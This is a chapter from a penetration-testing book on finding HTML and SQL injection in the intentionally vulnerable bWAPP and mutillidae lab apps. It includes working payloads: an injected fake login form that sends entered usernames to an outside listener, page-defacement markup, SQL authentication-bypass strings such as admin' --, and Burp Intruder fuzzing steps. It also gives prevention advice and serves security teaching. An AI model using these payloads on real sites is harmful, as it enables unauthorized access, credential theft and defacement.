© Sanjib Sinha 2019
S. SinhaBug Bounty Hunting for Web Securityhttps://doi.org/10.1007/978-1-4842-5391-5_10

10. Finding HTML and SQL Injection Vulnerabilities

Sanjib Sinha1 
(1)
Howrah, West Bengal, India
 

In this chapter, we will learn what HTML injection and SQL injection are. We will also learn how we can prevent them. HTML injection and SQL injection are different. Therefore, we will learn them separately. In the first half of this chapter we will talk about HTML injection, and in the second part we will talk about SQL injection.

What Is HTML Injection?

In this book, we have already learned about many types of attacks. We have seen that a web application may have many types of vulnerabilities that attackers can exploit using different types of attack. We have also learned that good security testing is a part of prevention. As a penetration tester, your job will be to find those vulnerabilities for your clients in a web application.

Let me tell you about the one key feature of HTML injection, in the very beginning. HTML injection is rare. And it is not considered as severe as Cross-site Scripting or XXE attacks. However, it could be disruptive because it could deface a web site. It could change the appearance of the web site. It cannot penetrate through the system and steal the data. It cannot even destroy the database. However, this part of security testing should not be missed because, as I have mentioned earlier, it could deface a web site’s appearance and that may cost your client’s reputation. In this section we will see how we can test it. We will also learn how to prevent it.

We should be aware of another risk. The HTML injection attackers may try to steal a user’s data by posting a fake login form. We will find such vulnerabilities in our virtual lab.

Furthermore, we can summarize a few key points about HTML injection:
  • HTML injection is a rendering attack.

  • HTML injection code is injected into a web page.

  • A web site executes that HTML injection code and renders its contents.

  • It is often considered as a subsection of Cross-site Scripting (XSS) attack, since, in some cases, it leads to XSS attack and could be more dangerous.

In the next step, we will start our virtual lab and open Kali Linux and the OWASP broken web application. For the first test, we need the intentionally vulnerable bWAPP application.

Finding HTML Injection Vulnerabilities

The HTML injection attackers may try to test your web application by injecting arbitrary HTML code into a vulnerable web page. The following page of the bWAPP application shows us a vulnerable login form. Here you can enter any type of HTML injection. The page will execute and render the output. It is called reflected HTML injection because it will reflect the output to the end-user (Figure 10-1). Basically, the user is able to control the input point and inject arbitrary HTML code that may include malicious links, which may trigger more sinister XSS attacks. It is reflected because the HTML code is rendered and controlled by the user. As a penetration tester, you can test a client’s web application by injecting arbitrary HTML code. If it reflects, and is controlled by you, the application has vulnerabilities. The input forms are not properly sanitized.
../images/484370_1_En_10_Chapter/484370_1_En_10_Fig1_HTML.jpg
Figure 10-1

The bWAPP vulnerable web page

In this page I have entered my first name in the first text box, but in the second text box I’ve entered this simple HTML code:

//code 10.1
<h1>You can add any HTML code here...</h1>
You can see the reflected HTML injection in Figure 10-2. The vulnerable web page executes the code and renders it in the lower part of the web page.
../images/484370_1_En_10_Chapter/484370_1_En_10_Fig2_HTML.jpg
Figure 10-2

In the lower part of the web page of the bWAPP application, HTML injection code has done the damage.

Let us open Burp Suite and, with the intercept on, we will allow the data to pass through it. Since the bWAPP application has been made intentionally vulnerable, the form data has not been validated properly; we can read anything that passes through the form fields (Figure 10-3).
../images/484370_1_En_10_Chapter/484370_1_En_10_Fig3_HTML.jpg
Figure 10-3

We can read any data of the bWAPP login form that passes through Burp Suite.

Here is the output that shows everything about the POST data, including the cookie and session ID.

//code 10.2
POST /bWAPP/htmli_post.php HTTP/1.1
Host: 192.168.2.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.2/bWAPP/htmli_post.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Cookie: PHPSESSID=n34706npi41did8c59klvta455; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; security_level=0
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
firstname=sanjib&lastname=sinha&form=submit

Next, we will demonstrate how an HTML injection occurs and how a web page is ripped from top to bottom by getting defaced. Since this type of attack deals with the appearance of the web application, a single page, it may be considered as less risky. As far as the valuable data of the system or the user is concerned, it is indeed less risky; still, it should not be skipped in the penetration testing. Why? It could lead to a bigger attack. A vulnerable web page also shows the user’s session cookie, as we have just seen in the Burp Suite output (code 10.2). An attacker can use it and launch an XSS attack, which could be more dangerous.

Next, in the bWAPP application, we will see how stored HTML injection works. It is stored in the database and then it gets reflected. The basic difference between reflected and stored HTML injection deals with the risk involved. The stored HTML injection is riskier and could be more unsafe. You will see why in a moment.

Let us open the bWAPP stored blog page and enter simple HTML code in the text box. It is reflected on the web page (Figure 10-4).
../images/484370_1_En_10_Chapter/484370_1_En_10_Fig4_HTML.jpg
Figure 10-4

We have entered an HTML injection code in the bWAPP application’s stored blog page.

Granted, it is quite simple and there is nothing new in it, but what happens if we enter a form to submit some credentials there? There lies a great danger. Let us see how it works.

We are going to enter this simple HTML form that will only take a username.

//code 10.3
<form name="login" action="http://10.0.2.15:1234/test.html"
<table>
<tr><td>Username:</td><td><input type="text" name="username"</td></tr>
</table>
<input type="submit" value="Submit" />
</form>
We are not going to make it more complicated. We want to understand the mechanism first. We could have asked for more data from the user, luring them by assuring some false benefits. Once we have submitted the HTML form through that text box, it gets reflected on the web page. Now we will open the Burp Suite and, keeping its intercept on, we will try to capture the data. Our mission is to read and capture all user data that a user submits to that form (Figure 10-5).
../images/484370_1_En_10_Chapter/484370_1_En_10_Fig5_HTML.jpg
Figure 10-5

We have successfully posted a login form in the bWAPP application.

Now you can write anything here. I have entered the same word. Simultaneously, I have opened the Burp Suite, keeping its intercept on (Figure 10-6).
../images/484370_1_En_10_Chapter/484370_1_En_10_Fig6_HTML.jpg
Figure 10-6

The Burp Suite reads the submitted data in thebWAPP application.

Here is the little output that Burp Suite captured.

//code 10.4
GET /test.html?username=anything HTTP/1.1
Host: 10.0.2.15:1234
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.2/bWAPP/htmli_stored.php
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

There are lots of vulnerabilities we have already detected in the application. If we go to the source code, we’ll find that the HTML form has not been encoded properly.

//code 10.5
<tr height="40">
 <td align="center">6</td>
 <td>sanjib</td>
 <td>2019-08-12 23:45:42</td>
 <td><form name="login" action="http://10.0.2.15:1234/test.html"
<table>
<tr><td>Username:</td><td><input type="text" name="username"</td></tr>
</table>
<input type="submit" value="Submit" />
</form></td>
 </tr>

If it was encoded properly, it would look like this:

//code 10.6
<tr height="40">
 <td align="center">6</td>
 <td>sanjib</td>
 <td>2019-08-12 23:45:42</td>
<td><form name=&quot;login&quot; action=&quot;http://10.0.2.15:1234/test.html&quot;
<table>
<tr><td>Username:</td><td><input type=&quot;text&quot; name=&quot;username&quot;</td></tr>
</table>
<input type=&quot;submit&quot; value=&quot;Submit&quot; />
</form></td>

Another thing is very important here. You can read the data in clear text on the URL. It should have been encrypted. Therefore, Burp Suite also reads the data quite easily and captures everything that has been submitted through the form.

If the HTML form submission process was properly encoded, the bWAPP application stored blog would reflect the web page like Figure 10-7. The attacker is no longer able to exploit that vulnerability.
../images/484370_1_En_10_Chapter/484370_1_En_10_Fig7_HTML.jpg
Figure 10-7

The form is no longer visible in the stored blog page of the bWAPP application.

Exploiting HTML Injection

Sometimes a web application gives users a separate interface to change the color or fonts. The problem is, as a developer you need to use the form to accept the requests from the users. If your form data is not properly validated, encoded, or the HTML scripts are not stripped off, an attacker might take a chance to deface the web site.

For this test, we need another intentionally vulnerable web application: mutillidae. Let us open it and go to the web page, where we can change the color of the page by submitting data (Figure 10-8). While we are changing the color of the page, we inject HTML injection code and see the result.
../images/484370_1_En_10_Chapter/484370_1_En_10_Fig8_HTML.jpg
Figure 10-8

HTML injection code is used while changing the color of the web page using the mutillidae application.

If this web page form data was properly validated, you couldn’t have submitted anything other than the color value. However, this web application is made intentionally vulnerable; therefore, we can inject HTML injection code and it will reflect the changed web page immediately (Figure 10-9).
../images/484370_1_En_10_Chapter/484370_1_En_10_Fig9_HTML.jpg
Figure 10-9

The HTML injection code has changed and defaced the web page.

This time the code is tricky, as we need to add special characters so that it will reflect the HTML injection effect with the color.

//code 10.7
FF0000"><h1>This site has been HACKED"</h1>
We have used the closing tag and added the HTML injection code after the value of the color. This is another instance of reflected HTML injection. In the next step, we will see how we can do some more damage to the stored blog page (Figure 10-10).
../images/484370_1_En_10_Chapter/484370_1_En_10_Fig10_HTML.jpg
Figure 10-10

HTML injection in the blog page of the mutillidae application

This time we are going to add some moving text on the blog page. The code is like this:

//code 10.8
I am going to inject HTML code</td><h1><marquee>This site has been hacked!</marquee></h1>
Figure 10-11 displays how we add the HTML injection code to the blog page.
../images/484370_1_En_10_Chapter/484370_1_En_10_Fig11_HTML.jpg
Figure 10-11

Adding HTML injection in the blog page of the mutillidae application

The <marquee> element starts working immediately. In the blog page, we can see the moving text over the other posts. In Figure 10-12, we see the first part of the moving text.
../images/484370_1_En_10_Chapter/484370_1_En_10_Fig12_HTML.jpg
Figure 10-12

Over the other texts, the “marquee” element moves the text.

In Figure 10-13, we can see the text is almost disappearing over the other texts of the web page.
../images/484370_1_En_10_Chapter/484370_1_En_10_Fig13_HTML.jpg
Figure 10-13

The “marquee” text is disappearing over the other texts.

Preventing HTML Injection

I have said earlier, HTML injection is not as risky as SQL injection, which we will learn in the next section. However, a penetration tester should have a good knowledge of web structure, especially how the HTML language works.

The request and response cycle often depends on form inputs. Therefore, every input should be checked if it contains any script code or any HTML code. Hence, proper validation is the best solution. Every programming language has its stripping-tags functions. In any case, no code should contain any special characters or HTML brackets—<script></script>, <html></html>. The selection of checking functions depends on the programming language, which is the developer’s job. However, a penetration tester should point it out in the proof of concept.

In the proof of concept, a penetration tester also should mention these unavoidable steps that would prevent HTML injection. Include all types of escaping characters that I have mentioned earlier. This “escape” includes HTML, JavaScript, CSS, JSON, and URLs. The rule is never to trust user input. The HTML escape should be used before inserting user inputs into HTML element content. This rule is applied for attribute escaping in HTML common attributes.

Sanitizing HTML markup with a proper library and implementing content security policy are two important factors that should be maintained for HTML injection prevention.

What Is SQL Injection?

A web application usually makes queries to the database when it is requested to respond. An attacker may interfere with these queries if this web application is vulnerable. Therefore, we can say that SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database.

To prevent SQL injection, data segmentation by using routines such as stored procedures and user-defined functions are necessary. Otherwise, these vulnerabilities allow an attacker to view data that is not normally available for general users. This data may belong to other users. It may belong to the application data category. An application is supposed to access this data. However, these particular web security vulnerabilities open the floodgate, and an attacker may access them all through the back door. In many cases, an attacker may modify or delete the data, causing persistent changes to the application’s behavior.

SQL injection attacks may cause serious damage to the application when the attacker compromises the underlying server. The attacker may interfere with the back-end infrastructure by using SQL injection to perform a denial-of-service attack, which could be more damaging to the application.

We can test a web application in our virtual lab to see whether it has SQL injection vulnerabilities; to do that, we need the intentionally vulnerable web application mutillidae and Burp Suite.

Bypassing Authentication by SQL Injection

Open the mutillidae application and open the “User Info (SQL) page” (Figure 10-14).
../images/484370_1_En_10_Chapter/484370_1_En_10_Fig14_HTML.jpg
Figure 10-14

User info (SQL) page in mutillidae

We need to register here as a new user, and I have created a new user account. The user name is “sanjib.” The password is “123456,” and the signature is “I am Sanjib” (Figure 10-15).

//code 10.9
Username=sanjib
Password=123456
Signature=I am Sanjib
../images/484370_1_En_10_Chapter/484370_1_En_10_Fig15_HTML.jpg
Figure 10-15

Creating a new user account in mutillidae

As a general user, I am not supposed to view other user accounts’ details and I should not be able to log in as other users, say as admin. If the database is protected, and the web application has no vulnerabilities, a user’s movement is restricted. This is because the SQL query selects only one user when they are logged in. Let us see the code:

//code 10.10
SELECT * FROM accounts WHERE username="sanjib" AND password="123456";

Let us study this code minutely. It is a logical statement. The user name and the password should match. It is only true when both statements are true. However, this is an injection point. We can write one statement like this in the input field of the form:

//code 10.11
sanjib' --

This means we close the single quote of the user name and then pass two hyphens, meaning the rest of the SQL statement is commented out. The vulnerable web application will read this statement as the following:

//code 10.12
SELECT * FROM accounts WHERE username="sanjib" -- ;

In such a case, it does not require the password anymore. When the rest is commented out, it conveys the message that the rest is not required. In that case, it gives the accounts detail of that particular user. Now we can build up our query in a manner where the statement is true all the time.

Our query will look like this:

//code 10.13
SELECT * FROM accounts WHERE username="sanjib" OR 6=6 -- ;
In the preceding statement, if either one is TRUE, the query will work. However, we know the user name; it is true. The OR statement gives another parameter that is 6=6; it always comes out TRUE. So the whole statement is true anyway. After that we have commented out the rest; it means the statement is true for all the records in the database (Figure 10-16).5
../images/484370_1_En_10_Chapter/484370_1_En_10_Fig16_HTML.jpg
Figure 10-16

Getting all the records by SQL injection

Because the application has vulnerabilities, we get all the records of the user accounts due to this malicious SQL injection.

//code 10.14
Username=admin
Password=admin
Signature=g0t r00t?
Username=adrian
Password=somepassword
Signature=Zombie Films Rock!
Username=john
Password=monkey
Signature=I like the smell of confunk
Username=jeremy
Password=password
Signature=d1373 1337 speak
Username=bryce
Password=password
Signature=I Love SANS
Username=samurai
Password=samurai
Signature=Carving fools
---

The output is shortened for brevity. We have 23 records altogether.

A statement that is true by necessity or by its logical form is known as a tautology. In SQL injection, the tautology plays a vital role. Let’s return to our original starting point:

//code 10.15
SELECT * FROM accounts WHERE username="sanjib" AND password="123456";

Here the word SELECT is known as the projection or the subject of the statement. It selects a field from a table or a group of tables joined together by a union. The word WHERE stands for the predicate of the statement. In the predicate part, we need a series of conditions, because after that it checks whether the statement is true. When we write, SELECT * FROM accounts WHERE username='sanjib OR 1=1 -- ;, it checks the condition at runtime and the query is formed.

Now, in this tautology, we don’t always need the second condition to be like 1=1 or 6=6. Let us see the MySQL Boolean literal page (Figure 10-17).
../images/484370_1_En_10_Chapter/484370_1_En_10_Fig17_HTML.jpg
Figure 10-17

MySQL Boolean literal page

Here SELECT TRUE OR true equals 1, always. The constants, true and false , are always evaluated as 1 and 0. Therefore, how about this query?

//code 10.16
SELECT * FROM accounts WHERE username="sanjib" OR 1 --

In the input field we can put this value:

//code 10.17
sanjib' OR 1 --
It will give us all the records like before. Furthermore, we may want to get one particular row and target that row to get one record. Suppose the attacker doesn’t want all the records; instead, they want to log in as the admin user (Figure 10-18).
../images/484370_1_En_10_Chapter/484370_1_En_10_Fig18_HTML.jpg
Figure 10-18

The user logged in as admin and sees the accounts record.

How can we make that possible? Well, if we examine the statement minutely, we can get our answer. We don’t need tautology here. Rather, we should concentrate on the user name. In many applications, the administrator uses the name admin as the user name. We can target that, and in the input box we can place this statement:

//code 10.18
admin' --

In an application full of vulnerabilities, the query is formed like this:

//code 10.19
SELECT * FROM accounts WHERE username="admin" -- ;
It selects only the record of admin. We can safely log in as admin now. The upper right-hand side shows that the user is authenticated (Figure 10-19).
../images/484370_1_En_10_Chapter/484370_1_En_10_Fig19_HTML.jpg
Figure 10-19

Logged in as admin

Discovering the Database

One of the key features of SQL injection involves knowledge of the database. You need to know which database is working as the back-end infrastructure. You cannot use the same fuzzing of the MySQL database in Microsoft SQL Server. We can use the Burp Suite tools to discover that information.

Let us first open the mutillidae application and try to log in with any random string as a user name (Figure 10-20).
../images/484370_1_En_10_Chapter/484370_1_En_10_Fig20_HTML.jpg
Figure 10-20

The HTTP history in Burp Suite

We have kept the intercept on in our Burp Suite tool and get the HTTP history as the following output:

//code 10.20
POST /mutillidae/index.php?page=login.php HTTP/1.1
Host: 192.168.2.3
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.3/mutillidae/index.php?page=login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Cookie: showhints=1; PHPSESSID=4v0q10evpq6jjrlgjt68djtl80; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
username=sadldfjfkg&password=&login-php-submit-button=Login

Watch the last line; we have typed in the random string sadldfjfkg as our user name and tried to log in. The password field was empty.

Now select the random string and add the special fuzzing character by clicking the “Add§” button on the right-hand side. We need to configure our Payloads position at that point so that we can start the attack from there.

//code 10.21
POST /mutillidae/index.php?page=login.php HTTP/1.1
Host: 192.168.2.3
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.3/mutillidae/index.php?page=login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Cookie: showhints=1; PHPSESSID=4v0q10evpq6jjrlgjt68djtl80; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
username=s§adldfjfkg§&password=&login-php-submit-button=Login
We want to discover the database, so let us first assume that mutillidae is running MySQL as its database back end. In that case, we will check the string literals of MySQL. We know that a string is a sequence of bytes or characters. It is enclosed within either a single quote (') or double quote (") characters. Examples: 'sadldfjfkg' or "sadldfjfkg". We can place them next to each other joined by the quotation marks. Quoted strings placed next to each other are concatenated to a single string. The following lines are equivalent:
"sadldfjfkg"
"sa" " " "dldfjfkg"
Therefore, a single quote ('), a double quote ("), a % character, or a backspace “” character are all treated as escape sequences in MySQL. We can add them as our payloads in Burp Suite later. Before that, we need to select the last line of the preceding code and send it to the Intruder. We check the payloads position first (Figure 10-21). We will check that no special characters are there anymore. That will pave the way to add our payloads separately later.
../images/484370_1_En_10_Chapter/484370_1_En_10_Fig21_HTML.jpg
Figure 10-21

Checking the Payloads position

Click the Payloads button and add all payloads that we will need to inject. We have seen before how to add payloads individually: just keep these characters /, ', "", %.

Now, we have added these special characters as our payloads; after that, we will go to payloads options and add only “error” and “syntax” as our simple string Grep – Match (Figure 10-22).
../images/484370_1_En_10_Chapter/484370_1_En_10_Fig22_HTML.jpg
Figure 10-22

Simple String Grep – Match in Payloads options

This will enable us to get all the errors and syntax-errors, from where we will get an idea about the database used in the application. Here we added the escape sequences individually, assuming that the mutillidae application has used MySQL database.

Now, as we have started the attack we have found that all escape sequences have been detected as “errors”; however, two of them have syntax-errors (Figure 10-23).
../images/484370_1_En_10_Chapter/484370_1_En_10_Fig23_HTML.jpg
Figure 10-23

Highlighting the Intruder attacks in Burp Suite

We can select any of them, and it will reflect the request first (Figure 10-24).
../images/484370_1_En_10_Chapter/484370_1_En_10_Fig24_HTML.jpg
Figure 10-24

The Request highlighting the syntax-errors

We can click the Response tab beside the Request tab and read the message. In that message, the error reports are shown in detail, where we can gather all the information about the database. Here we come to know that our guess has been correct, as the application mutillidae has used MySQL database as its back-end infrastructure (Figure 10-25). Knowing the back-end database infrastructure will help us in many ways. Now we can pinpoint our research on escape sequences that are particularly used for MySQL. If we had found a different database, our strategy of attacking would be distinctly separate from MySQL.
../images/484370_1_En_10_Chapter/484370_1_En_10_Fig25_HTML.jpg
Figure 10-25

The message about the database in the Response section of Intruder

In this section, I have tried to give you an idea of how SQL injection works, by describing some common examples. I have also tried to explain the basic logical statements and tautology on which the SQL injection attacks are mainly based. There are a few good free resources available over the Internet where you can get more ideas about SQL injection. In Appendix, I will talk about other bug hunting tools and free resources that may help you.

The best resource for learning more about SQL injection is the tools section that Kali Linux has provided for all types of readers. As you progress and want to know about second order SQL injection, I think the following links will provide immense help. Furthermore, in the final chapter I talk about SQLMAP, another great tool for SQL injection, in great detail.
https://tools.kali.org/vulnerability-analysis/sqlmap
https://tools.kali.org/vulnerability-analysis/bbqsql
https://tools.kali.org/vulnerability-analysis/jsql
..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.129.15.99